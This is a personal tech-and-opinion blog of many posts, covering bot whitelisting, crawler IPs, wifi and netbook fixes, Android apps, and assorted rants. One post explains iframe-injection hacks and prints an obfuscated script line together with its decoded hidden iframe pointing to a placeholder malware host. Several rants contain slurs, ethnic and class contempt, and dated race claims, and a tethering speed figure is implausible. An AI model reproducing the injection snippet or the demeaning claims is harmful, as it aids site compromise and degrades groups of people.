Anyone still listening?

I haven't blogged much for a variety of reasons this year, sorry about that.

Got a lot going on, anyone even still listening?

Probably not, don't blame ya.

Whitelisting, Not Blacklisting to stop bots!

Really getting sick of repeating myself as people just don't seem to get it when it comes to blocking bots that blacklisting doesn't fucking work.Blacklisting requires wasting time chasing bots in access logs, huge ass .htaccess files that slow Apache and impact server performance, and are easily bypassed with changing a single character in the user agent name.

Whitelisting on the other hand only tells the server what can pass, everything else bounces. Whitelists are usually short, Googlebot, Slurp, Bingbot, valid browsers, and nothing else, a fast list to process which doesn't slow Apache down whatsoever.

Then install a script to monitor for things that access robots.txt, spider trap pages, natural spider traps like your legal and privacy pages, plus speedy or greedy accesses, and you've pretty much solved you scraper problems.

But for fuck's sake, use your goddamn brain and WHITELIST or you're just wasting your fucking time and inviting scrapers, not blocking them.

When Webmastering Should Become A Capital Crime

A little project I've been working on has helped me unearth some of the sheer horrors that the search engines have to deal with on a daily basis and some web designers and webmasters should literally be shot.

How about a fully functional web page that has no anchors on the HTML page, none whatsoever, yet you can obviously see a fully functional navigation menu on the page?

That's right, some dumb fuckers are doing 100% javascript navigation, nothing in HTML or CSS, completely included as a javascript navbar. Sadly, Google rewards these assholes by indexing their shit.

But this is trivial, let's move on...

How about an old domain name with a meta refresh to the new domain name.

No big deal, right?

Until the new domain 301s to an adjusted location. The page at that location has a javascript redirect to yet another location. Finally it lands on a "200 OK" response with and no more redirects, what a maze from hell.

Getting ugly but I've seen worse.

The one that completely blew me away was some dumb fuckers with UTF-8 encoded websites being stored online as UTF-16 (UNICODE) so every letter you see on the screen is actually a double-byte character which doubles the bandwidth for no obvious fucking reason except some shithead self-proclaimed web fucking designer in some goddamn 3rd world shit hole country doesn't know how to save files properly when not coding in UTF-16 character sets.

Wonder if Google penalizes them for slow loading pages or just being god damned stupid?

Some of the big ISPs like PacBell do some really stupid fucking shit too, like this:

home.pacbell.net/someaccount

302 redirects to:

http://home.pacbell.net/cgi-bin/sunset.cgi?old_request=/someaccount

200 OK contains a javascript redirect (IT guy out that day?) to:

http://pages.prodigy.net/cgi-bin/index.cgi?pwpurl=http://home.pacbell.net/someaccount

404 finally!

"Discontinuation of Prodigy Personal Web Pages (PWP) Support "

And this shit just goes on and on and on...

It's just one big fucking mess on the web and some webmasters and designers should be very fucking ashamed.

One thing is very obvious, the search engines are doing a very skillful game of interpreting javascript these days otherwise many pages on the kinds of bullshit sites mentioned above would never be discovered.

GlueText Crawlers Identified and Blocked

Started noticing some leeched content showing up on a site called GlueText so it got my curiosity up to see how they were gathering their content.

Turns out initially they were using the default libwww-perl user agent back in '09

99.231.221.217 "libwww-perl/5.820"

Looks like they got a little smarter after being bounced by sites to switch to the old Netscape Navigator user agent for the Win 98 version which they still use today!

99.231.78.89 "Mozilla/4.76 [en] (Win98; U)"

GlueText appears to have historically used the following IPs:

99.231.78.89
CPE0024b2cbf30a-CM0016b536fb82.cpe.net.cable.rogers.com.

173.203.215.230
173-203-215-230.static.cloud-ips.com.

99.231.221.217
CPE0009a30119af-CM0016b536fb82.cpe.net.cable.rogers.com.

99.231.44.115
CPE002436a0fbf3-CM0017ee4740ec.cpe.net.cable.rogers.com.

76.65.207.92
TOROON63-1279381340.sdsl.bell.ca.

My most current test showed they were now using the following IPs:

These IPs were from cloud-ips.com, all from GlueText:

173.203.210.51
173.203.210.95
173.203.215.230
173.203.241.192

Other IPs still involved:

76.65.207.92 -> TOROON63-1279381340.sdsl.bell.ca

99.231.78.89 -> CPE0024b2cbf30a-CM0016b536fb82.cpe.net.cable.rogers.com

Doesn't request robots.txt, fakes a Netscape user agent to gain access without permission, doesn't appear to document how it crawls content nor does it appear to give webmasters any way to opt-out.

BAD ROBOT!

Blocked.

Having Netflix or Hulu Buffering Problems?

Several times now I've had buffering problems with Netflix or Hulu when being played over wifi via the Wii or Playstation 3 on the big screen. To quickly diagnose whether or not it was a possible "throttling" situation, the first thing I did was verify if my desktop computer, which is hardwired to the internet, not wifi, was having the same problem or not. The desktop computer was running full speed streaming HD without any issue whatsoever so I ruled out throttling and general connectivity issues, it was a wifi problem.

Rebooted router first just to make sure it wasn't hacking up a fur ball.

No change.

That's when I broke out the handiest Wifi Analyzer app ever made for Android and went to work. We live in a condo that has a bunch of wifi networks all over the place and, using the Wifi Analyzer, I could quickly see for some odd reason that all the networks were all overlapping in the same range. Changed my wifi router to use either Channel 1 or 11, both were clear, the channels at the far range of the wifi and VOILA! the streaming video was flowing effortless without stopping to buffer.

The only thing odd about all the wifi's stomping all over each other is they're supposed to automatically switch channels, just like mine, given the very situation that I had to just manually solve.

Isn't the first time I've seen this happen, most likely won't be the last, so much for automated technology.

This may not solve everyone's wifi streaming video problems, but it sure solved mine.

Domain Parks Hijacking Previously Hacked Sites?

Lately I've been seeing an increase in some domain parks using frame buster scripts and it really didn't make any sense to me.

Why would a domain park need a frame buster script?

Then I discovered a potential secret, these domain parks, whether intentional or not, are inadvertently hijacking sites that have been previously victims of the iframe injection hack!

Let's examine how this works.

The iframe injector exploit happens when a hacker adds a line of JavaScript to your page like this:

<script Language="Javascript">document.write(unescape('%3C%69%66%.....61%6D%65%3E'));</script>

That line of script translates the encrypted content in the unescape() command to something like this:

<iframe src="http://malware.location.example.com" width=1 height=1></iframe>

Once the search engines or browsers detect this problem then the victims site gets the normal safe surf malware warnings when visitors attempt to visit their pages as long as malware continues to exist on http://malware.location.example.com. However, once the malware is removed, often the hacked domains are shut down or abandoned and return to the domain park. The absence of malware at http://malware.location.example.com will stop displaying those safe surf warnings and everything looks normal again. Therefore, webmasters that never knew their sites were hacked in the first place, and never fixed the problem, are now potentially at the mercy of a domain park that employs frame busting.

If you didn't follow that, let's simplify it:

Some of the domain parks now add a FRAME BUSTER SCRIPT to their domain park pages.

Now any time a visitor goes to a site that was previously hacked and never repaired, and execute that JavaScript iframe injector code, the site is redirected to the domain park page.

You can see the frame buster script in the domain park pages:

function EscapeBrowserFrame(){ .... }

To add insult to injury, innocent webmasters were not only victims of hackers, but now they're the unwitting victims of having their sites hijacked by domain parks!

A nice double whammy!

Many sites have been hacked by server-wide exploits which have been documented previously in this very blog. It's very possible (most likely) the hosts never reported the problem to their customers so the website owners never knew they needed to fix their pages. This situation has probably left literally tens of thousands of sites vulnerable over time to being eventually hijacked.

That's the real kicker here is that the domain used to distribute malware could fall into the domain park at any time. Maybe the victims site will be hijacked today, maybe tomorrow, maybe a year from now, but the potential risk is great. If that line of JavaScript left by the hacker is allowed to stay in the victims website and the hackers site eventually falls into the right domain park, their site will also be hijacked.

Iframe injector scripts, the hackers gift that just keeps on giving!

Final American Airlines Flight - Never Again!

Just took 4 flights on American Airlines and I'm done, finished, never doing it again.

On the first flight out the entire cabin aisle was jammed with assholes in line for the crapper. Nobody told them to sit down and wait, there they were bouncing back and forth in the aisle bouncing off passengers sitting in the aisle. Then some crazy bitch with a hot cup of coffee joined the line holding this cup over aisle passengers heads, just waiting to boil some poor schmuck sitting under her steaming cup.

Did any flight attendant care about all this crap?

Fuck no.

The landing was no joy either. First time I've actually been in a plane that appeared to BOUNCE off the fucking runway when it landed. I was surprised that the remnants of the plane could make it to the terminal.

Now the real fun was the return trip home. We got put in some AA 757 that didn't look like it had been serviced in eons. Went to the lavatory and it was just plain vile. Nastiest shit I've ever seen on an airplane. In the row where we were seated, my seat was mangled, the velcro didn't hold the seat in place, it kept sliding out from under my ass. The seat next to mine had a fucked up cushion as well. Best yet, my wife's seat was broken and wouldn't stay in an upright position if you put any pressure on the back of the seat. Not to mention it was a full plane so we were stuck in the broken row we had.

The final landing was the best yet.

The guy in the row in front of me pulled his backpack out from under his seat and I'm stunned with what I see, a big fat cockroach clinging to his bag! When I told him about it and he tilted the bag to take a look the roach took off running, some women starting squealing, it was a real scene to behold.

Overall, I found the planes old, not well kept in the cabin, dirty and roaches pretty much says it all.

I forgot to mention on one flight all the magazines in the pouch in front of my seat were all stuck together with big gobs of chewing gum. The flight attendant took them away but never replaced them with new magazines, lazy shits.

Anyway, I won't be (willingly) doing AA again because I prefer to feel like I'm flying in an airplane, not slumming in a dirty ass rural bus in some 3rd world country.

Spam and Trojans Exist Because People are STUPID!

That's right, don't blame the spammer, don't blame the guy writing the Trojan horse attachment in your email, blame yourself and your stupid friends.

Why blame yourself and your stupid friends?

Because if people weren't so fucking stupid to buy shit advertised in spam or open those fucking Trojan horse email attachments then the authors of that shit would simply go away.

That's right, all you idiots that think you're going to get millions from some asshole trying to launder money in Nigeria or wherever it is this week, if you weren't so fucking gullible to send those scammers money they'd never send a second email.

You seriously think Wal-mart is giving you a $500 gift certificate?

Think dipshit, think hard, did you ever give Wal-mart your email address?

More importantly, how many limp dicks are out there to warrant so much email about viagra and cialis?

Even more importantly, how stupid do you have to be to take pills offered from a spam that doesn't even require a doctor's prescription?

Those black market pills can kill but maybe that's a good thing because at least people buying from those spams would go away and so would the spams.

So here's the real question, what possesses idiots to open email from people they don't know and then open attachments from these same strangers?

Now let's get down to business:

DO NOT send me emails telling me not to open certain emails because I won't open your email either. Anyone stupid enough to circulate shit telling me not to open something I would never open in the first place, nor should you open, shouldn't be on my email contact list in the first place.

DO NOT warn me about the latest virus. I already know about it because I subscribe to computer security feeds to keep on top of this shit and so should you. The fact that you're emailing me about the same shit I'm getting in my security feed means you really shouldn't be in my email contact list, Linked-in, or friend in Facebook.

So repeat after me:

If you don't know the sender, put the email in the blender.

Delete, rinse and repeat.

P.S. Share this with a stupid friend, have your stupid friend share with their stupid friends, and we might end spam and Trojans in your lifetime.

How to Upgrade HP-MINI 210 Netbook Memory: FACTS NOT FICTION

We've got a couple of HP-mini's and they're nice little netbooks, but when I wanted to upgrade them to 2GB, that's when the bullshit started. Trying to find any resources online about the specific makes and models and which chips they require is truly maddening. Making it even more maddening are the journalists that add to the steaming pile of misinformation. However, after taking the time to read through all the bullshit and sort it all out, I've got the actual FACTS that should help other HP Mini 210 owners sort it out as well.

We have both an HP Mini 210-1032CL that uses DDR 2 RAM and the HP Mini 210-1142CL that uses DDR 3 RAM. Notice that in both those product specifications that even HP incorrectly states that both machines have a fixed limit of 1GB RAM. Make sure you get the right memory for your HP Mini 210 because they may take different chips than the 2 models I have which are linked above to the exact memory I purchased for those specific models only.

Check out this PC Mag article about the HP mini 210-1142CL for a sample of the inaccuracies that are swirling around these netbooks.

The Mini 210-1142CL comes with 1GB of DDR3 memory and there's no easy way to manually upgrade to 2GB. Netbooks like the HP 5102 and Asus 1005PR have memory slots that are easily accessible.

Unless the author of this article got a different unit than mine, or my HP mini is mislabeled, this is 100% inaccurate BULLSHIT! A typical example of why I don't read PC Mag and haven't since the early 90s but I digress.

The slightly misleading information starts right on HP's website with the HP mini 210 overview:

1GB DDR3 system memory, or upgrade to 2GB if you select Windows 7 Home Premium

Many people think that means you can only use 2GB if you upgrade to Windows 7 Home Premium which isn't true, it's just 2 different bundling options from HP. If you buy the low end bundle you get Windows 7 Starter with 1GB RAM. If you buy the high end bundle you get Windows 7 Premium with 2GB RAM. This doesn't mean you can't buy the cheapest version of the netbook and upgrade the memory to 2GB RAM with Windows 7 Starter.

Here's the best part, most of the world posts that Windows 7 Starter has a limit of 1GB RAM further blowing misinformation smoke up everyone's ass when Microsoft's own website plainly states that Windows 7 Starter takes a max of 2GB RAM!

How easy is it to replace the memory in an HP Mini 210?

To replace the memory you simply remove the battery, push 2 red buttons, bottom of the case pops right off with a little insistence (OK a LOT of insistence) , then you see the memory card held by 2 little spring clips, you unlock the clips, remove the old chips, slide in the new chips, replace cover and battery. DONE!

If you don't believe me, watch the video!

To summarize:

• HP Mini 210 series will accept 2GB RAM
• Windows 7 Starter uses a max of 2GB RAM
• No upgrade to Windows 7 Premium is required
• PC MAG authors should get their facts straight

Good luck and hope this helps all you HP Mini 210 owners out there twisting in the wind looking for answers!

Are Joomla! Users Lazy or Just Stupid?

Let's start by looking in Google for the default Joomla! title "Welcome to the Frontpage" and Google claims there's 5,000,000 results with all those words in the title.

Absofuckingtively unfuckingbelievable.

However, many Joomla! users seem to somehow manage to change their title but leave the meta keywords and description as follows:

<meta name="keywords" content="joomla, Joomla">
<meta name="description" content="Joomla! - the dynamic portal engine and content management system">

Why does Joomla! even allow pages to be published without all these fields properly set is beyond me. It's simply amazing that the software could easily teach their users better practices and easily help them rank better yet allows the system defaults to be published.

Any hungry SEOs out there looking for some low hanging Joomla! fruit?

Possibly some easy money to be made if the price is right.

Google Navigation Goes Batshit in Cul-de-Sac

I knew the location of this one particular neighborhood bar would probably make any navigation system nuts so I put Google Navigation to the test and it failed hysterically.

You can see the problem on this map:

View Larger Map

The place is called Steamies, located at 3403 Pacific Boulevard, San Mateo, CA‎ which is where Google thinks that big red marker is on the screen.

There's nothing there but a clover leaf getting on and off Hillsdale Blvd.

The amusing part is Steamies, at 3403 Pacific Boulevard, is down toward the bottom of the screen, that cul-de-sac is their parking lot.

You cannot park at or turn into 3403 Pacific Boulevard from Pacific Boulevard, you have to go a few blocks down and get there via Poinsetta.

However, Google Navigation assumed it was like the mistake on Google maps the the female voice was bitching to U-Turn and go to this street or that, anywhere except where we knew we had to get to get there.

Overall, I think Google Navigation is pretty decent but they scored a big fat assed goose egg on getting to Steamies.

Must Have Android Apps - HTC Hero and beyond!

I've been downloading and playing with a lot of new apps and some are downright mind blowing.

Better Keyboard

If you're still using Android phones that have yet to upgrade to Android 2.1 you MUST get the Better Keyboard app and pay the $3, it's more than worthwhile.

Why?

It does voice.

That's right, voice.

It allows you to talk in every input field on any app, any browser field, anywhere except for URL addresses which it forces you to type for some reason.

Google Translate

Next, install Google Translate and now you can talk into the phone, it translates your speech to text, then translates your speech/text into any language Google can translate.

Anyone remember the Star Trek universal translator?

Never thought I'd own one and it's getting damn close to being the real deal.

The only problem is currently it only understands English when listening so it's just a one-sided translator but since I speak English, that's good enough for me! ;)

Text-to-Speech

Install the TTS software and then your phone can actually say those foreign translations out loud which is kind of fun to hear it make the attempt.

Metal Detector

I don't know how the damn Metal Detector thing works but it just does.

It detects lots of different types of metal and get it anywhere near a computer, screen or other phone and it just goes nuts.

Now for fun you can change what it says so now my metal detector says "Searching for lame ass phones..." and when I put it next to an iPhone it starts buzzing and beeping with big letters on the screen decrying "LAME ASS PHONE DETECTED!".

Wifi Analyzer

Holy shit what a useful app!

I was having a problem with wifi at home and this Wifi Analyzer thing helped diagnose the issues in mere minutes and now we have better connectivity.

Not to mention when you're out traveling it'll help you find the best place to sit and use your laptop.

You might not use it often, but when you need it, it really rocks!

OK, got other apps to discuss but I'll get to it next time.

Shopping Online Makes Green Sense

Millions of people drive to stores daily wasting much more combined gas than that one scheduled delivery truck that drives by your house daily so why not just shop online, save time, gas, money, and for now ... taxes!

Where to get good deals.

Walmart will ship you clothing direct to your door for as little as $0.97!
You can't afford to drive to Walmart for that price!

Shoes.com and Zappos will ship your shoes for free.
I wear a 10.5 2E, which almost nobody stocks in brick and mortar stores. I could drive around town all day and still not find what I'm looking for OR get free shipping for what's immediately in stock that's easy to locate within minutes.

Amazon.com Prime shipping for a low $79 annual fee.
We buy a lot of stuff from Amazon and it shows up in 2 days for a small annual shipping fee. It's so convenient it's down right scary because anything we want just shows up in 2 days. With the local California taxes up to about 10% it doesn't require \much online shopping to cover the cost of that $79 fee either.

Groceries delivered for as little as $6.95!
Considering not everyone has a car this is cheaper than taking a taxi or even a bus to go shopping. For those busy people on the go it's a serious time saver, well worth the price and for those lazy people, it'll keep your ass on the sofa glued to the tube longer for a small fee. Seriously consider when you tip the pizza guy $5 for delivering a single pizza that your entire grocery order could be delivered, including a fresh deli pizza ready for baking!


Seriously people, I'm finding it easier and easier to live in a cave and avoid the crowded roads and stores thanks to the internet.

All my income is direct deposit, no trips to the banks.

Most of my bills, as many as possible, come electronically to avoid all the piles of paper.

All my bills are paid by BillPay, no stamps, envelopes, no trip to the post office.

Clothing and shoes just randomly show up at the door.

Computer memory upgrades just appear tax free.

So on and so forth, the delivery man comes often to our house.

Why not?

It's GREEN for my wallet and GREEN for the planet!

Clarifying Ignorance Regarding Racist Remarks, Regions and Ethnicity

Yesterday I got into a shouting match with someone, not so surprisingly, over a stupid comment I made which made this person show his fucking ignorance.

I made a slur against a COUNTRY and it's citizens and got called a racist!

I asked if they even knew what a fucking race was?

Initially, there were 5 races classified as follows:

• Caucasoid race
• Congoid race
• Capoid race
• Mongoloid race
• Australoid race

This list has been further expanded into ethnic subsections but those are irrelevant to the topic of this discussion.

Let me give you a clue how insane and crazed people have become over the misuse of the word race.

If you malign the "Damn Americans" or those "Damn Canadians" nobody thinks twice about it because these countries are considered melting pots of the planet with every race imaginable inhabiting those countries.

Even the Mexican Constitution declares that Mexico is ethnically diverse with the second article defining their country to be a pluricultural nation consisting of Indigenous, Mestizo, and European peoples. International organizations usually report that 17% of the country's population is European or White., descendants of the Spanish colonial population. Additionally, there is a black population known as Afro-Mexicans.

I could go on and on, but you get the picture, Mexico is a diverse country is it not?

Therefore, how could a comment about the citizens of a country, collectively the "Damn Mexicans" be racist?

MEXICO IS A MULTI-RACIAL 17% WHITE NATION YOU FUCKING MORONS!

Heck, while we're on the topic, you ever get called a racist for bitching about the "Damn Catholics" or the "Damn Baptists" or even the "Damn Christians"?

Hell no.

However, if you say anything about the "Damn Muslims" you're a racist.

Muslim is a race?

I don't fucking think so, it's a RELIGION just like CHRISTIANITY and it has a multi-racial congregation that includes white, black and everything in between.

People have basically lost their fucking minds over the race word.

They don't know what race means anymore but if you say anything bad about any group of people you're a fucking racist.

Come on people, pull your heads our of your collective asses which all have little brown rings, and use the term racist properly, like when someone actually starts talking about skin color.

We may have different ethic groups, but to the best of my knowledge there is only ONE race of people left on the planet, Homo Sapiens.

Now do you know what a fucking race is?

Here's one of my favorite tales of racial and religious ignorance which is a perfect example to end this rant.

Some white lady that worked in the same building I did was standing at the lunch counter in the building deli and pulled a bottle of Snapple from the drinks and started going "See! See! My black boy friend says that circle with the K in it means that they support the Klan!". Not believing her amazing ignorance I loudly chimed in "That circle K means that Snapple is KOSHER and can be used by Kosher Jews and Muslims, look around your grocery store, many products have that circle K on it." She threw the bottle of Snapple down and bolted out of the deli all embarrassed for being an ignorant asshole.

Wake up, we're one race, the human race, get over your goddamn racist bullshit people.

More importantly, learn when to use the word properly and don't be an ignorant fuck.

The Internet Is a Basic Human Right? BULLSHIT!

Some article from the BBC just blew my fucking mind:

Almost four in five people around the world believe that access to the internet is a fundamental right, a poll for the BBC World Service suggests.

Well isn't that a Mary fucking Poppin's rose colored glasses view of the world.

The Internet is a utility, just like phones and cable television.

If you can't afford them, you can't have them at home, so how is it a "basic human right"?

Starving people dying of hunger should be able to eat, isn't that a basic human right?

How about all the children that die daily from malnutrition, malaria, or a bunch of other diseases too numerous to count that a simple pill or vaccination would save, what about their basic human rights to live?

Then we have people dying in wars, drive by shootings, muggings, robbery and women in Cambodia are apparently being raped every time they turn around, what about their basic human rights to live and live without fear?

Well fuck them all, it's too complicated to fix all those basic human rights abuses.

Turn your head or stick it in the sand like an ostrich, ignore the real lack of human rights.

However, the MOTHER FUCKING INTERNET, now THAT'S A GODDAMN HUMAN RIGHT?

Bullshit. Bullshit. Bullshit.

What good is Freedom of speech when YOU'RE FUCKING DEAD!

Remember the phrase "Life, liberty and the pursuit of happiness"?

Well, if you aren't fed, vaccinated and get a pill when you're sick, clean water, a roof over your head, basic human needs kind of shit, there is no life.

I'm sure people out there drinking water that looks worse than what I just flushed down my toilet, while sipping that cup of sickly bacteria infested mud, sits around with their peers saying "You know, if we just had the Internet all our problems would miraculously be solved!"

Driving a car to get to a job, school, home, shopping, etc. should be a basic human right too but it's a privilege and so is riding the bus or the train if you can't afford the fare. Obviously walking everywhere you need to go won't work for all things, nor would riding a bike assuming you could afford one.

However, that Internet, can't fucking live without it.

Sorry people, you had freedom of speech before the Internet and you still have it even if you can't get online. Obviously you aren't participating with the masses that can afford the Internet, but you probably couldn't afford to sit down in a nice restaurant and chat with them either.

Besides, the Internet is free at the local library.

Let's just explore how accessible the Internet is at the library just for fun and assume the library will let in the smelly street bums walking around with a load of shit in their pants to sit and smear it all over the library chairs and computers.

They have to let them in, right?

Not allowing the bum smelling fouler than a barnyard pig Internet access would deprive someone with crap oozing over his belt loop and urine filled squishing shoes his basic human rights, right?

Yeah, I knew all you Internet bleeding hearts bullshit artists were all full of shit and wouldn't let Mr. Squishy Pants in the library either.

Stay Tuned - Don't Touch That Dial

Yes, I'm still alive and kicking.

Just been busy lately and haven't had anything motivating enough to generate a big long winded blog post, yet.

How-to Download Files in Android's Browser

Adroid phones will just flat out ignore you when you try to click on items like a Word Document linked from a web page or as a file attachment in webmail.

This can be frustrating to your average computer user because your desktop browser will download any old file, no questions asked.

The reason behind this is because the Android phone's browser will only download files that already that have associated apps installed to handle that file type.

For instance, if you want to view a PDF document you will need to first have PDF Viewer pre-installed on the phone.

Likewise, you can't see MS Word documents unless you have something like IcViewer installed.

To find some viewers simply go to the Android Market and search for "viewer" and you'll find a bunch, some of them mult-format viewers.

The only thing I found annoying is that MS Word, Excel and PPT viewers aren't included in Android by default which are the primary file attachments most people get.

Come on Google, get your shit together, just because we can download apps doesn't mean the phone should require so much assembly. Just a few more pre-installed apps would reduce the frustration level for the less technical types out there.

Sprint HTC Hero : Tethering Worked First Time

I've been reading all this complicated nonsense about Sprint Hero and tethering, rooting the phone and all other stuff, maybe it's just dated but it was all out of touch with the reality of what the phone did in the real world.

I had my Hero plugged into the USB port, HTC Sync software was pre-installed of course, and simply pressed the following on the phone:

MENU -> SETTINGS -> WIRELESS CONTROLS -> MOBILE NETWORK SHARING

The "Mobile Network Sharing" is actually disabled when the USB cable isn't connected so it doesn't take a rocket scientist to see that the machine implicitly allows tethering.

Now to see you actually have a network, from the Windows Start Menu select "NETWORK" on the right hand column, then click "Network and Sharing Center" and VOILA! there's a new network connection titled "HTC Remote NDIS based Device".

How simple and freaking cool is that?

Didn't have to unlock the phone or do any rooting, it was simple as a single click in the menu.

Got a bandwidth speed of just under 450mbps on my first test but I was definitely loading web pages through the phone as I manually disconnected all other networking options.

The FUD though is about whether this causes extra fees on your Simply Everything plan or not as the Sprint salesperson warned us that using tethering is tracked separately and goes against your actual phone minutes and not your data plan.

If that means nights and weekends are free, cool.

If that means any time you tether it's burning up minutes, not cool.

Since Verizon offers Droid tethering for $30/mo. extra I can't imagine Sprint won't do something comparable or simply lose customers.

Let us know of your of tales of Hero tethering!

BarracudaCentral.org Reliably Blocks Rash of New Spam

I'm using several DNSBL's to block inbound spam, plus blocking China entirely, which makes for a very quiet inbox most of the time.

Suddenly there has been a rash of new spam that the old BLs just didn't catch and it started to escalate.

Initially I wasn't too concerned because a spam site pops up, you get a few emails, they get black listed and the DNSBL blocks them from then on.

This time nobody seemed to be stopping them, none of my go-to DNSBL's were working so I revisited the DNSBL Spam Database Lookup site and started testing the source IPs of the email to see which list would block them.

Much to my surprise only 2 lists, barracudacentral.org and spamcannibal.org were highlighting these spammers at all.

After extensive testing BarracudaCentral.org proved to be the best out of the two so Barracuda gets added to my email filter list.

If you haven't tried BarracudaCentral.org then you probably have spam ;)

UPDATE: a few spams slipped thru that only SpamCannibal flagged so since I'm in a zero tolerance mode, I added SpamCannibal to my filter list as well.

PubCon Heals The Crippled!

Some people are aware that I've been down with a really bad back which went out right after PubCon '08 meaning I've been barely walking for almost a year now. My back got so bad, and I have the x-rays to prove it, that the State of California actually issued me a permanent handicap placard this year! Not something I'm proud of, but it got me close enough to the door of the store to go shopping.

To explain what's going on, I have a couple of lower vertebrae with no disc between them that move against each other and sometimes slip which will send me down to the ground when it slips. This has been an ongoing problem since the 80's when I had a rather nasty high speed roller skating accident which has flared up a few times over the years. Over the course of the last year I discovered it was primarily tail bone compaction really causing me problems so I had to buy some special cushions and chairs to eliminate that problem.

It got so bad that I was unable to sit at my desk and do any work for more than a couple of hours a day for a couple of months earlier this year which finally drove me to find some solutions to the problem because not being able to sit at the computer is not acceptable.

The first place I went, and you must visit, is Relax The Back which is a great specialty store with all sorts of products for people with back problems.

My cheapo desk chair was the first thing I had to replace with some fancy (expensive as hell) ergonomic chair with lumbar support, other adjustments and memory foam!

Great, now my chair remembers every time I fart in it...

The cushion I bought for the car has a cut-out in the rear so my tail bone doesn't compress during long rides or take any of the shock from bumps in the road. This may not sound such a big deal, but I got so bad at one point that I had stopped driving for a couple of months and my wife was shuttling me around. After a couple of months of ass-rehab on the cushion and the office chair I'm back in the drivers seat without any problems.

Picked up a body pillow from Bed Bath & Beyond which hugged when you sleep also helped offset pressure in a couple of problem areas, but I think the bed will be the next item to be replaced.

Then I did some physical therapy for a few months until the insurance ran out on it and I was back in action somewhat walking better, using shopping carts at stores like walkers, and still getting mild panic attacks crossing wide open spaces with nothing to lean on if my back slips.

Anyway, I was barely put back together and getting a little better in time for PubCon and here comes my biggest fear, long walks thru airports, the massive Vegas hotels and of course the Las Vegas Convention Center.

The first day went about as expected, slow, painful and very carefully plodding along to make sure I didn't jar my back.

Surprisingly, the next day wasn't quite as bad and by the end of the week I was easily walking twice as fast as when I arrived.

The big bonus was I'm back to using escalators again after one near mishap!

Wow!

Not that I'm claiming to be fixed, had a few incidents throughout the week with back slipping getting in and out of cabs and such, but I'm certainly walking MUCH better than when I first got to PubCon which is a huge improvement.

So pass it along - PubCon heals!